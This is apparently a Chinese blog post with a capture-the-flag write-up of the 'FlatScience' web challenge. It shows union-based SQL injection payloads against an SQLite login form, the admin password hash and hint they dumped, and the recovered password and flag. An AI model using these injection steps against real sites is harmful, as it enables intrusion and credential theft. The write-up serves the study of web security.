• 【攻防世界WEB】难度四星12分进阶题:FlatScience


    二、FlatScience

     

    解题方法:

    1、理解源码,数据库注入,加解密

    过程:

    还是先喜欢看robots.txt文件

    /admin.php界面

    /login.php界面


     Ctrl+U打开源码

    发现了?debug

     发现了新源码


    开始进行代码审计

    发现数据库为SQLite3(与MySQL有一点区别,sqlite_master表中存着相关信息

    type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息

    且注释符为--

    还发现输入的usr存在注入

    没有任何过滤,能够拼接进数据库中执行


     使用bp拦截,并进行注入

    (在bp中注入)

     判断字段数

    1' order by 3 --

    (报错)

     1' order by 2 --

    (回显正常)

    所以字段数为2


    判断回显

    1' union select 1,2 --

    回显位为第二位

     


    查sql表中字段

     CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29

     解码后

     CREATE+TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255))

    字段有:id name password hint


    构造查询name

    payload:

    1' union select id, name from Users--

     admin


    构造查询password

    payload:

    1' union select id, password from Users--

    3fab54a50e770d830c0416df817567662a9dc85c


    构造查询hint

    payload:

    1' union select id, hint from Users--

     my+fav+word+in+my+fav+paper%3F%21

    解码后

    my+fav+word+in+my+fav+paper?!


    我们就得到了表中第一个数据

    id=1

    name=admin

    password=3fab54a50e770d830c0416df817567662a9dc85c(MD5是消息摘要加密,可能会解不出来)

    hint=my+fav+word+in+my+fav+paper?!(说的就是在他的论文里面)

     

    解密出来了为

    ThinJerboaSalz!


    那个词为Salz

    ThinJerboaSalz!减去Salz

    所以密码为ThinJerboa


    在/admin.php页面进行登录

    flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?} 

  • 相关阅读:
    基于Java+SpringBoot+Vue火车订票管理系统的设计与实现 前后端分离【Java毕业设计·文档报告·代码讲解·安装调试】
    数据中心网络设计方案,数据中心网络规划设计
    Vite2 + Vue3 + TypeScript + Pinia 搭建一套企业级的开发脚手架
    Day31力扣打卡
    无线AC802.1X认证配置
    2021CCPC广州-C. Necklace(二分+贪心)
    promise
    Vue首次使用Element
    Mac 执行 brew install 出现 Error: Command failed with exit 128: git
    安全地使用v-html
  • 原文地址:https://blog.csdn.net/qq_53079406/article/details/125947879